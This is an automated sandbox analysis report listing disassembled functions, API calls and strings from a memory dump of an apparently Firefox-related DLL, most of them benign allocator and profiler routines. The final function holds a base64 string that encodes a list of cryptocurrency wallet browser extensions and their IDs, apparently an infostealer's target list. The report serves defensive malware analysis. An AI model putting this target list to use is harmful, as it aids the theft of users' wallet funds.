EnterCriticalSection.KERNEL32(6C57E7B8), ref: 6C50FF81
LeaveCriticalSection.KERNEL32(6C57E7B8), ref: 6C51022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C510240
EnterCriticalSection.KERNEL32(6C57E768), ref: 6C51025B
LeaveCriticalSection.KERNEL32(6C57E768), ref: 6C51027B

Strings

MOZ_CRASH(), xrefs: 6C510CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C50FE99, 6C50FEB7, 6C50FED3, 6C510DB8, 6C510DD3, 6C5119B4, 6C511A10

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 16cb6c8b3e8727d97293a98bb6f88bb8829d8086169a9fb9b30617a74a56b74c
Instruction ID: ed6593a2a027a8ceb0cb04de7cc41e16c36c55608f4f41be0692771d322b6bcf
Opcode Fuzzy Hash: 16cb6c8b3e8727d97293a98bb6f88bb8829d8086169a9fb9b30617a74a56b74c
Instruction Fuzzy Hash: C9B2A0716097418FE714CF29C9D4716BBE1BF85328F28CAADE86A8BB95D770D840CB41

Function 6C545600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C545CB6
expected a Count entry, xrefs: 6C545AC3
name, xrefs: 6C545E79, 6C545E8F
data, xrefs: 6C546131
ProfileBuffer parse error: %s, xrefs: 6C545AC8, 6C545CBB
schema, xrefs: 6C54606D

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: d332e5856d8b79312b9927d6aa1b71f6ee217699b338ecb4314f7bb7783e6d8f
Instruction ID: fa24cd3dfafeab2e3fab054add72184d53cb75a1b0ac5c56102edbf6171d26af
Opcode Fuzzy Hash: d332e5856d8b79312b9927d6aa1b71f6ee217699b338ecb4314f7bb7783e6d8f
Instruction Fuzzy Hash: 43924B71A08341CFD724CF29C890B9AB7E1BFC9308F55891DE59A9B751DB30E849CB92

Function 6C507810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57E744), ref: 6C507885
LeaveCriticalSection.KERNEL32(6C57E744), ref: 6C5078A5
EnterCriticalSection.KERNEL32(6C57E784), ref: 6C5078AD
LeaveCriticalSection.KERNEL32(6C57E784), ref: 6C5078CD
EnterCriticalSection.KERNEL32(6C57E7DC), ref: 6C5078D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5078E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C50795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5079BB
LeaveCriticalSection.KERNEL32(?), ref: 6C507BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C507C82
LeaveCriticalSection.KERNEL32(6C57E7DC), ref: 6C507CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C507DAF

Strings

DWl, xrefs: 6C50787F
DWl, xrefs: 6C50789F

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DWl$DWl
API String ID: 759993129-1385947701
Opcode ID: 00c1e761c1b48ee80444058cca11f14b458df4ade43c0c493c39a1489b3e047a
Instruction ID: 798c3252ae3a90a2ab9d33a4c4e238df268b2b84dacc958f7a77c829b1f8f3ee
Opcode Fuzzy Hash: 00c1e761c1b48ee80444058cca11f14b458df4ade43c0c493c39a1489b3e047a
Instruction Fuzzy Hash: 0A025E71A0161A8FDB54CF19C984799B7B5FF88358F2582AAD809E7711E770BE90CF80

Function 6C542E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C542ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C542EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C542F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C543214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C543242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5436BF

Strings

get , xrefs: 6C543205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C54378D
set , xrefs: 6C5436EC

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: f8c02721e40b9f91c82ee3b0e095203d5edbf701926ef6611e22fe0be9a901e5
Instruction ID: 10d50635aa1943e44d0dae6ce2e0f35ad71fd67d1a9df0defe3d2e8da55abc44
Opcode Fuzzy Hash: f8c02721e40b9f91c82ee3b0e095203d5edbf701926ef6611e22fe0be9a901e5
Instruction Fuzzy Hash: 2A324F706083819FD724CF24C890AAEBBE2AFC9318F54CD1DE59987761DB31D94ACB52

Function 6C537E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C537ECF, 6C538335
data, xrefs: 6C538280, 6C5383E1
vWl, xrefs: 6C538207
schema, xrefs: 6C5381E3, 6C538311
(pre-xul), xrefs: 6C537E88

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vWl
API String ID: 3412268980-1721625795
Opcode ID: 8944efb48467ecbf85857af2c17b29e75cf2e08650d21c0d9705714e11a8caba
Instruction ID: 064f1fa2be3ef94b0ec4b4fdc4cb67e3ad6b53a49756a80fe4a5a9f889bb44b9
Opcode Fuzzy Hash: 8944efb48467ecbf85857af2c17b29e75cf2e08650d21c0d9705714e11a8caba
Instruction Fuzzy Hash: 39E16EB1B043508BC710CF698C4065BFBEABBD5314F154A2DE899D7B90EBB0DD498B92

Function 6C555FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C556009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C556024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QOl,?), ref: 6C556046
OutputDebugStringA.KERNEL32(?,QOl,?), ref: 6C556061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C556069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C556073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C556082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C57148E), ref: 6C556091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QOl,00000000,?), ref: 6C5560BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5560C4

Strings

QOl, xrefs: 6C555FFC, 6C556042, 6C556045, 6C5560B3

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QOl
API String ID: 3835517998-1743153097
Opcode ID: 2b6f5d7c6682e5cdf8cf772581dd05ae09795e97b739f0276153ea455e219c0b
Instruction ID: e821f2b1f63508f1049914ecc82710e27f9277177a050edef628086d75f7b06e
Opcode Fuzzy Hash: 2b6f5d7c6682e5cdf8cf772581dd05ae09795e97b739f0276153ea455e219c0b
Instruction Fuzzy Hash: 2F21E5B1A002189FDF106F24DC09AAE7BF8FF45618F018428E85AD7340CB75A999CFE5

Function 6C515E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C515EDB
memset.VCRUNTIME140(ewUl,000000E5,?), ref: 6C515F27
LeaveCriticalSection.KERNEL32(?), ref: 6C515FB2
memset.VCRUNTIME140(ewUl,000000E5,?), ref: 6C5161F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C517652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5172E3
MOZ_CRASH(), xrefs: 6C517BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5172F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C51730D
ewUl, xrefs: 6C515E9C, 6C515F22, 6C5161ED
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C517BCD, 6C517C1F, 6C517C34, 6C5180FD

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewUl
API String ID: 2613674957-1643626965
Opcode ID: 7b478ae37af7591d1ba5aa82324bff1f9cdfc8780352441ae83ae1c6ceea8f3d
Instruction ID: 3246b664f37f17492716aa7a9f4425037c9870bf60e423131114d2901d8c083d
Opcode Fuzzy Hash: 7b478ae37af7591d1ba5aa82324bff1f9cdfc8780352441ae83ae1c6ceea8f3d
Instruction Fuzzy Hash: 0E337B716097018FE304CF2DC994615BBE2FF85328F29C6ADE8698BBA5D771E841CB41

Function 6C544820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C544DB8, 6C544DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C544D65
data, xrefs: 6C5449B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C544CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C544D0A
ProfileBuffer parse error: %s, xrefs: 6C544DD9
-%llu, xrefs: 6C544825
schema, xrefs: 6C5448C1
Wl, xrefs: 6C544F88

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free
String ID: Wl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-418857222
Opcode ID: 6578e51ae9ca78942d03f06b054f92b51f0a332129c62b7baf196b7781db1b5e
Instruction ID: d5fca3e0a6b1716cdc5f5d2f185c8d53cf6085d585c75f759edba43907290bc5
Opcode Fuzzy Hash: 6578e51ae9ca78942d03f06b054f92b51f0a332129c62b7baf196b7781db1b5e
Instruction Fuzzy Hash: 07722E71918B858BD322CF35C8513ABF7E5BFDA344F108B1DE4896B611EB70A885DB42

Function 6C51D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D4F2
LeaveCriticalSection.KERNEL32(6C57E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D50B

Part of subcall function 6C4FCFE0: EnterCriticalSection.KERNEL32(6C57E784), ref: 6C4FCFF6
Part of subcall function 6C4FCFE0: LeaveCriticalSection.KERNEL32(6C57E784), ref: 6C4FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D52E
EnterCriticalSection.KERNEL32(6C57E7DC), ref: 6C51D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C51D6A6
LeaveCriticalSection.KERNEL32(6C57E7DC), ref: 6C51D712
LeaveCriticalSection.KERNEL32(6C57E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C51D7EA

Strings

<jemalloc>, xrefs: 6C51D827
: (malloc) Error initializing arena, xrefs: 6C51D82C

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 020accee6080ca1dae38a54b4e45a9bfe8b7f9ad1957aba3c1112cc10fd10a72
Instruction ID: 19132075bddf817d99ab76e8e356111ff59c549e52e8d442e71d7bf1fc072ac1
Opcode Fuzzy Hash: 020accee6080ca1dae38a54b4e45a9bfe8b7f9ad1957aba3c1112cc10fd10a72
Instruction Fuzzy Hash: 28911671A087508FE716CF28CC9876AB7E1EB85314F154A2ED45AC7F81D774E884CB92

Function 6C554EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C554EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C554F2E
moz_xmalloc.MOZGLUE ref: 6C554F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C554F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5552B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5552E6
Sleep.KERNEL32(00000010), ref: 6C555481
free.MOZGLUE(?), ref: 6C555498

Strings

(, xrefs: 6C555250

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 6eb1533ffb9f749e9a45debc11b0d1aaf2f2b236acb609672ed87f714d3344d7
Instruction ID: 1ce7af725a865d792daf8e1bdd72af78cb66bddcac30b3521771acdb37278d1f
Opcode Fuzzy Hash: 6eb1533ffb9f749e9a45debc11b0d1aaf2f2b236acb609672ed87f714d3344d7
Instruction Fuzzy Hash: 0FF1D071A19B108FC717CF39C85062BB7F5AFD6284F468B2EF846A7651DB3198428B81

Function 6C557030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C557046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C557060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C55707E

Part of subcall function 6C5081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5081DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C557096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C55709C
LocalFree.KERNEL32(?), ref: 6C5570AA

Strings

(null), xrefs: 6C55706A, 6C557083
### ERROR: %s: %s, xrefs: 6C557087

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 3597f42fd5c7b894376449e1f775bdf47f91a705ea1447c0c8cfdf720ced4da4
Instruction ID: 5ca7af3ee0ed9c8e77c6314fa3b97b38f11bd76b33a1e837847dbd50d3639d1a
Opcode Fuzzy Hash: 3597f42fd5c7b894376449e1f775bdf47f91a705ea1447c0c8cfdf720ced4da4
Instruction Fuzzy Hash: BB01B9B1A00114AFDB01BB64DC4EDAF7BBCEF49214F020425FA05E7241E67169548BB5

Function 6C519E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C519EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C519F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C519F34
LeaveCriticalSection.KERNEL32(?), ref: 6C51A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C51A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C51A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C51A8B1, 6C51A8D4, 6C51A8EF

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 9b836ffe71f1175d961317c066f6b990617305cbca694ee2c1c9642c7a4ab95f
Instruction ID: 778559f9be6b57be75f2d956c3590ec01fcb887c7642d9c88d919cb8d0f88c5a
Opcode Fuzzy Hash: 9b836ffe71f1175d961317c066f6b990617305cbca694ee2c1c9642c7a4ab95f
Instruction Fuzzy Hash: 25728D72A097118FE705CF29C944615FBE1BF85328F29C76DE8698BB91D335E846CB80

Function 6C542C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C542C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C542C61

Part of subcall function 6C4F4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4F4E5A
Part of subcall function 6C4F4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C542C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C542E2D

Part of subcall function 6C5081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5081DE

Strings

expected a Time entry, xrefs: 6C542E36
(root), xrefs: 6C54354F
ProfileBuffer parse error: %s, xrefs: 6C542E3B

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: b50c57f2bc1398f1abd774d73af9054a001d6d623ece3f8f3481c6e2304fd4db
Instruction ID: 11eeae6f3fe3752fe840d35e0ed12cd62b8830e1e816744659a96833045d22ba
Opcode Fuzzy Hash: b50c57f2bc1398f1abd774d73af9054a001d6d623ece3f8f3481c6e2304fd4db
Instruction Fuzzy Hash: 4A91AE706087408FD724CF25CC9469EB7E1AFC9358F50891DE99A8B7A1EB30D94ACB52

Function 6C4FBEF0 Relevance: 11.2, APIs: 5, Strings: 1, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4FC1CB
__aulldiv.LIBCMT ref: 6C4FC24C
__aulldiv.LIBCMT ref: 6C4FC348
__aullrem.LIBCMT ref: 6C4FC365
__aulldiv.LIBCMT ref: 6C4FC37D

Strings

fDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVyc, xrefs: 6C4FC338, 6C4FC33E, 6C4FC34D, 6C4FC35D, 6C4FC362

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
